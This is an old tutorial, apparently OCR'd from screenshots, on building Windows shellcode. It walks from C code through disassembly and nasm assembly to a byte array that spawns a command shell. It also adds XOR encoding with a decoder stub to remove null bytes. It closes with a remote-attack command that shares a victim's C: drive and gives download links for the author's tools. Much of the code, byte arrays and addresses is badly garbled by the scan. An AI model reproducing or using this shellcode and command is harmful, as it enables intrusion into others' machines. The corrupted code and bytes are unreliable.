A simple tutorial about Win32 Shellcoding

With the following multicolored pictures i try,to point out the tools and the easiest
way(not the best, for the best look at ) to construct a win32
shellcode.This paper aims on people, which have read some papers about Bofs and
shellcoding for Linux, but never have written some assembler codes for Win32.In

this paper i only use hardcoded function-addresses.
The tools you need are:

-VC6

-a Texteditor

-the sourecode and binarys of the following tools and the sourcecodes i use in the
tutorial are (http://www.delikon.de/shellbuch/tools.zip)

For comments visit me at or mail at



This Is the code we want to disassemble .1t consists of 2 functions.
1. the execution of a CMD-shell and

2. a exit(l) call, this call is very important,because if we use the shellcode in a
bufferoverlow, and close the shell we would cause an error.
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#include <windows. h> =
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char buf[4]:;

WinEzec(buf  SW_SHOW):
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Now we will debug your code, the first thing to do, put the cursor right behind the
exit(1) call and start the code

.. winexec - Microzoft ¥Yisual C++ - [winexec_cpp] - = |E’|5|
JJEI File Edit Wiew Inzert Project |Buld Tools Window Help =] =l
éi% | = n ﬁ ‘ 3'3 E | @ Compile winexec.cpp Chl+F7 ST j | (EH
- Build winexec. exe F7
(Globals) lfienal g Rabid Al R (52
@ |ﬁ| ! @ E;ﬁtch Build. .
g zan
#include <windows. h: —

L3

I-Eain( 1 Start Debug .l Go E5
Debugger Remote Connectian... il} Step Irita F11

char buf[4]:

Execute winexec.exe  ChlF5 8 Fiunto '—:""'::'g
Attach to Prokess, .

Set Active Configuration...

buf[0]='c";
Eﬂg E % % : .2. Eanjfiguratiuns...
buf[3]="'~0"; Profile...

WinEzec(buf , SW_SHOW) ;

exit(l):

W I—

_*I_‘
X|[Loaded 'CoWWINDOTSSy=tendZ2~ntdl]l  d11', no matching =symbolic information found. ﬂ
Al|Loaded ' C~WINDOWS~SYSTEMIZ2 Jern=l132 dll', no matching symbolic information found.
The thread 0=xtA8 has exited with code 1 (0=l J
The program 'C ~FERETIG-te=stfiles“winexec Debug~winexzec.exe' haz exited with code 1 (0=xl1).
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Runs the program to the ine containing the cursor Ln1¢,. Col12 |REC |COL |[OWR |READ




Now we start

the disassembly.
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‘*.. winexec - Microsoft Yisual C++ [break] - [winexec.cpp] 5] x|
JJE] File Edit |%igw Inzert Project Debug Tools Window Help == =]
g | =k P Clasgwizard Ehilss bt ”Elﬁ = | EﬂtlHDST j | ‘EH
SRR |
[Globals] Resource Symbols... ers] jl §inain Ele H@ e ' iy
k Hezource Includes. .
#includ eqi x|
maini ) £
i & Funsereen EAX = 00000021
EBX = YFFDFO0OD
— Wiorkspace Al+0 ECY = gooooliol
Dutput Alt+2 EDE = FFFFFFFF
S ESI = 0012FF30
e Dcbuavi Wiatch Alt+3 EDI = D012FF&0
buaf [7 Call Stack A7 EIP = 0040104D
bt AR = ESE - 0012FF30
R R Memary Alt+b EEF = 0012FF&0
sl et Variables  Alted EFL = 00000246
: Reqisters Alt+5 Lo _ ooe
VinExec(buf , SV_SHOW) . DS = 0023
Dizaszembly a ES = 0023
A3 S5 = Q0023
5 exit(l): FS = 0038
GS = 0000 Ov=0
UP=0 EI=1 PL=0
ZR=1 AC=0 PE=1
C¥=0
STO = +0.000000001
ST1 = +0.000000001
ST2 = +0.000000001
ST2 = +0.000000001
1 ST4 = +0.000000001
STS = +0.000000001
ST6 = +0.000000001
ST7 = +0.000000001
. CTRL = 027F
STAT = 0000
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ame alue i _ CS = noan
buf 0=0012ff%c "cmd OS = 0000
EDO = 0Oo0ooono
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IE' &ddress  10%00000000 H[Loaded 'C.~WINDOWS-Systemse-ntdll dll', no matching symbolic
mois B A|Loaded ' C:~WINDOWSNGYSTEMIZkernel32.dll', no matching symbol

ekl
127777 e
297777 7l A » T Build }, Debug 4 Find in Files 1 % Find in Files2 § Results % SOL Debugging 7 =TT F]

Activates the Dizazzembly window
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Now copy everything from main till call exit

.. winexec - Microzoft Yisual C++ [break] - [Dizaszembly] B

Efile | Edit Miew |nsert Project Debug Tooks ‘window Help

- m[E ® | @ fiosT

E?

= enan

oyte ptr [ebp—3].6Dh

ovte ptr [ebp-Z2].64h

ovte ptr [ebp-11.0

Cyly and it Files...
o . [=bp-4]

ptr [ IKERHEL

GoTo...

HULL_THUNE_DATA (004241

» (004010a0)

Al+F9
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ﬁ Egnte:-:t:]main[] _.'_I ﬂ !ﬂlame E|".I"::|Iuv£=
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Now paste everything in __asm{}

*.. winexec - Microsoft Visual C++ - [winexec.cpp *]

JJIE] Fier ol Mt ineeit) Erolcts Bl Enple dindoml Helk

=181 x|

=181 x|

B cH@ | B2 - [R[ER | GHosT

(Globals] || (0 global merbers) || % main

WinEzec(buf  SW_SHOW) :

exit({l);*®”

__dem o

oo401010 pu=h =ebp

oo401011 now ehbp. e=p

noo4n01o013 suhb esp. 44h

oo4010le pu=h ebhx

oo401017 push es1

noo4nio1ag push edi

noo4n01o0149 lea edi,. [ebp—44h]
noo4n01o01c nowv ecx.11lh

no4aniozl nowv eax, DCCCCCCCCh
oo401026 rep =to= dyord ptr [edi]

4.

5 char buf(4];

b

s

g: buf[0]='=":

onaplozs mow byte ptr [ebp-4].63h
9: buf[1]="m";

onaoiozc mow byte ptr [ebp-3].6Dh
10: buf[2]="'4d":

oo401030 now byte ptr [ebp-Z].64h
11 buf[3]="~0":

oo4n1o034 now byte ptr [ebp-1].0
12:

13:

14: WinExec (buf  SW_SHOW) ;

oo401038 mow 2zi.esp

Q0401034 push 5

0040103C lea eax, [ebp-4]

E|[Loaded 'C ~WINDOUS-Systemiz-ntdll . dll', no matching symbolic information found.

AllLoaded 'C:~WINDOWS-SYSTEMZ2“kern=l32 .dll', no matching symbolic information found.

The program 'C:~FERTIG~tesztfilestwinexec-Debug winexzec.sxe’

haz exited with code 0 (0=x0).
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We will left only the important lines of code,because your goal is to code a very
small shellcode .

“.. winexec - Microsoft ¥izual C++ - [winexec.cpp =] = |5’|5|
HIE e el ien Insedt D Ermacky Bkl Bho i ncon LD _181 x|
B Edd| 2R 2 DR | ks RaIE™
(Globals) = || &) glabal members] || & main -|H -

SEA ! ELD

__asm 1
push ehp
mow ebp. esp
#<=ub e=p,44h
push b=
push e=1i
push edi
#lea edi . [ebp—44h]
S Tmld ecx,llh I
PP Tuid eax, QCCCCCCCCh
Serep stos dword ptr [edi]
o byte ptr [ebp-4].63h
b Tmyrd byte ptr [ebp-3].6Dh
mow byte ptr [ebp-2].64h
b Tyrd bvte ptr [ebp-1].0
s Tm)id e=i,esd
push
l=a eax, [ebp—4]
push 23K
call dword ptr [IKEENEL3Z_HULL THUHE DATA (004241f2)]
#STMP ezl , 22D
Sozall _ chkesp (004010200
push 1
call exit (00401a60)

¥

;I_I
H[Toaded "CONWIHDOWSSSy=tend2~ntdl]l . dll'. no matching symbolic informaticon found. :J
Allloaded ' Co~WINDOWSSSYSTEMZ2kern=132 dll', no matching symbolic information found. —J

LH

.

The program 'C:~FERTIG-testfiles“winexec“Debug-winexec exe' ha=s exited with code 0 (0=0).

4] ¥ [’ Build 3 Oebug 4 Findin Files 1 3 Findin Files2 % Results 3 QL Debugging / 1N
Ready Ln 40, Col 22 |REC [COL |OWR [READ




Now we need the two function addresses of WinExec and ExitProcess.

For that we use depends.exe(from the Microsoft SDK) and open with depends the
compiled file.

The address of WinExec is the kerneladdress + the Entry Point of WinExec =
0x77e70000+0x00018601=0x77e88601 now do the same with ExitProcess (Maybe
you have different addresses).

IR

B File Edit View Options Profile Window Help 18] =l
IR ST =Tnll]
= B WINEXEC.EXE Fl Ordinal Hint Function Entry Point o
= ﬂ KERMEL32.DLL ED | MNA 27 (0x001B]| CloseHandle Mot Bound
[ ] WTDLLDLL ED | M 1 [0=0051)| DebugBreak Mot Bound i
L. d®] WTDLLDLL ED | M 125 (0007 D] | ExitProcess Mot Bound
ER | M 170 [0x00484] | FlushFileBuffers Mot Bound
ED | M 178 0008 2] | FreeEnvironmentStringss, Mot Bound
ED | M 179 [0x008 3] | FreeEnvironmentStringss Mot Bound
ED | MNA 185(0<00B9) | GetaCP Mot Bound
ED | N 191 (0:00BF ) | GetCPInfo Mot Bound
ED | M 202 [0x00CA) | GetCommandLines, Mot Bound
ER | M 247 [0x00F 7] | GetCurrentProcess Mot Bound ;]
E Ordinal ™ Hint Function Entry Paoint ;I
€0 |768(0x0300)| 767 (0:02FF) | WaithamedPipad 000035481
€0 |769(0=0301)| 768 (0«0300) | Waith amedPipew 0x00021447
B | R0 (003032 i ar T ohultiByte Ox00004F D8
h-o 771 (0=0303] C 0x0001 5601
B0 |772(0=0304) ] nsoled, 0x00014BD4
B0 |773(0x0305)| 772 (0:0304)| WiiteConsalelnputd 0x00045F01
B0 |774(0x0306)| 773 (0:0305) | WiiteConsolelnputy DA 0x00045C83
B0 |775(0=0307)| 774 (0:0308) | WiiteConsolg sputty Dk 0x00045C9F |
€0 |776(0x0308)| 775 (00307 ) | WiteConsolel Aputi 0x00045F1D LI

NTDLLDLL 10121933 10:00 | 27.10.1933 22:06 503.056 [ A O0x0007ADAF | 0:0007ADAF 36 Congole 0x7 7FE0000 | Unknown 0x0007
WINEXECEXE | 01.05.2003 1453 | 01.05.2003 14:53 151614 | A 000000000 | 0<0002DE12 36 Congole 000400000 | Unknown Ox0002

Module File Tirne Stamp Link Time Stam File Size Attr, Link Checksum Fieal Checkzum CPU Subspstem Symbaols Frefered Baze Actual Baze irtual Si
KERMEL32.DLL | 10.12.193910:00 | 08.12.1999 10:52 7HE.240 A 0x000C8FES | 0«000CEFES «86 Console DEG 0x7 FE70000 | Unknown Ox000C
DEG
PDE

oo -

1| | i

For Help, press F1



The only thing which is left, is to move the addresses into eax and call it . Now
compile the code and start it, if the code looks like this picture but don't work,
ou have used the wrong addresses.

*.. winexec - Microzoft Visual C++ - [winexec.cpp] § =] x|
HB File Edit “iew |nzert Project Build Tools ‘Window Help - 5] x|
[a|sd@ | 2@ 2o |[o[ER | @fHosT =]
J] [Globals) = || (& global members) || & main x|H -
|Sm et ELD
__asm o :j
soztandart procedure =
push ebp
mowv ebp.e=p

s<puzh ebx on the stack

push ebx

Awrite cnd-0

mow byte ptr [ebp—4].63h

b Tm}d byte ptr [ebp—3].60h I
mow byte ptr [ebp-2].64h

mow bvyte ptr [ebp-1].0

segrite § o= SWOSHOW and cmd-~0 on the stack

push g
lea =ax, [ebp—4]
push 8K
ssmove the winexec function address into sax 0x77=700000 + 18601 = 0x77=88601
now =ax. 0x77=88601
call =ax
P yrite 1 on the staclk
push 1
soemove the Exitprocess function into eax 0x77e700000 + 1BOBE = 0x77=8b0bb
nowv eax, 0x77=8b0bb
call =2ax
h
=
B
H[Tinking. .. =
- ]
winexec.exe — [0 errori(s). 1 warning(=) _J
| [>T Build { Bebug  Findin Files1 3 Findin Files2 §_Results § SOL Debugging 7 M4l | 3

[n27.Col2z  [REC [COL [OWR [READ



After everything works well now, please copy the code in a arbitrary file and
delete the "'ptr'' string, because nasm doesn't know this syntax, and write for the
header "BITS 32"

E: 2_asm - Tera TextEditor - [C:AFERTIG\testlilez\winexeci] - = |E|£|
I File Edit Wiew Toolz “Window 7 |
||j_3_* Hlali D200 1|8 .6%%| oo * Col18Ln14 .@%_‘
I & |)F | P Macral [p MacroZ [ Macro3 [ Macrod [p Maco5 [ Macio& [ Macro 7 [ Macro® b Macro9  [p Macro 10 v|

BITS 32 ; 32bit addressing ozl

push ebp

OO ebp,esp

push ehx

OO byte [ehp-4],63h

OO byte [ebp-3],6D0h

OO byte [ebhp-2],64h

OO hyte | [ebp-1],0

push 5

lea eax, [ebp-4] I

push eax

o eax,0x77e58601

call san

push i

o eax, 0x77eSkhibh

call san




now compile the file 2.asm with nasm, and generate with my tool makeshell.exe
this shellcode.

-nasm -s -fbin 2.asm

-makeshell.exe 2
now you can find the shellcode in the file shellcode.c, he will work well(compile it

and test it) but it contains NULL-BYTES which can cause problems.
=10l x|

Datel Bearbeiten Anzicht Einfugen  Format 7

DI (E| S ] ¢|5(@]-| =
|I:|:uurierNew | |1EI | |'W'est|ic:h | Flj’lﬂlp@l = =

IR [ ERCN K P E T T X S L - DRk F A

i

g'I"I'I'2'I'3'I'4'I'5'I'E'I'?'I'B'I

#include <stdio.h>

char shellecode[] = ™\ x55"
™SO xESY K53 K56 KETY HCEY A5, ¥FEN K63 HCAY A5 xF O M 6D xCEY N5 xFAY x6dh xCEY 2454 xFE
r

T HZEN CEh 25, KFCY X658, HCEe, K25, XFDY 178 ®CEeY xa5 ®FEY 165 1 CeY x45% xFFY 00 168 x05% x00
™o 00Y x00% XEDY x45% xF8Y x50% xBSY x 01N X586 wESY 77 wFFY 1 DO0Y x 684 2014 x00% x00% x00% xBESY xBE™

" xEBDY xESY k77 HFFA XDO";

int
maini){

void [(*funct) () :

[long) funct = L£shellecode: I

functc ()}

112

Drucken Sie F1, um die Hilfe aufzuufen.



To get away the NULL-BYTES, we have to Xor the shellcode.Please use for this
my tool encode.exe.

-encode 2 0x95 >>db-array.txt

Encode checks if the are any null-bytes or bytes which you cannot use in
windows-file-names, because you never know for what you need the
shellcode(look at the winhelp32.exe overflow).At this picture is everything
allright.Now paste this array in a decryption-code,because without you cannot
use this shellcode.

& db-array - Editor - =101 %]

Datel Bearbeiten Format 7

encode_byte = 0x95
Toaded: test
size: 66 bytes

OxFH, 0Oxb53, 0xD0O, OxaF, 0OxFl,
OwaE, OxFO, Ox53, OxD0, OxBA,
OwEZ, Owah, Owdh, OxFD, 0Ox594,

This shellcode does not contain any NULL-BYTE or a Irvalid char For File name




Now check if it looks like this.Dont't forget to paste the right xor byte in . in this
case 0x95.

| decode.asm - Tera TestEditor - [C:A\FERTIG\testfiles\winexech] 18| x|
I File Edit “iew Toolz ‘Window 32 |

[D2Hlsla DB 018 %% co v Cdlnd 8%,

I & |)$ | P Macrol [ Macro2 [ Maco3 [ Maco 4 [ Maco5 [ Maco B [ Macro 7 [ Maco 8 Macod o Maco1oo |

EIT: 32
ORG Ox0
Jmp short omegs
alpha:
pop eax
decrypt:
®xor bhyte [eax], OxS95
inc eax
cip dword [eax], 'hack’
jne short decrypt
jwp short codestart
ornea
call alpha
codestart:

]

dbh  0OxcO, 0x1C, Ox70, OxCe, OxC3, O0xCZ, 0x53, O0xDO, Ox6D, OxF6, 0x53, OxDO, Ox6C, OxFS, Ox53, 0xDO, Ox6F, OxF1, Ox53, OxDO

codeend:
cdb 'hack'
b OxCD




Now the only thing to do is to compile it and generate the c-code.
-nasm -s -fbin decode.asm

-makeshell decode

...and every Null-byte is gone(\x00).

Finished.

For remote hacks you need another command. This one ->'cmd /c net share
c=c:"". With this command you can share the c: drive with the world

The sourcecodes for this shellcode you can find
(http://www.delikon.de/zips/remote.zip)

E shellcode - WordPad » . -—_lgl.il

Catei Bearbeiten Ansicht Einfligen Format 7

D@l S sal b=l | =)

R | | DI =l =lxfup|[E =[=| £
g-|-1-_--2-u_-3---_4-|-5_-|-5-_|-?--_-8-u-_s---m-u-ﬂ-_u 1200 13 14 s 1 B 1 TF

lf-finclude “stdio.h>

char shellcode[] = "4yxEE"

T HOFY XESY RS0 H30W XI5 x A0 HB 1 x3 8 K68 X6 1Y X623 W XEBY X7 EY xF 44 xEBY 05 ®ESY *ECY 1xFF Y FF ™
T HFFY XCOY X 1CH X708 XCEY KO3 XC2 W x 53 xD0W 6D xF ey X530 kDO 60y xFS3Y X 53 xDOY x6F v xF 1% 53"
T RDOY KEEN XEBBY XS53 W XDOW HESY HFOY X530 kD0 X658 XEDY K53 DO X 6B W xFOYW K53\ xDOY K64 X954 XFD ™
L HI0N XS5 95N x95 18, xDOY X EDY, xCEY k2D 94N X138 7D RESY 6L x 45 xFDY x 945 k954 954 x95™
ML HZDY HEZEYHZEA KDY REZY HEAY HA5Y XI5 X623 X626 LW HE3 Y HEBY xCD T

int

maini) { I
woid (*funct)] ()
{long) funct = £zhellcods:

funct ()2}

Ciriicken Sie F1. um die Hilfe aufzunifen. ] L



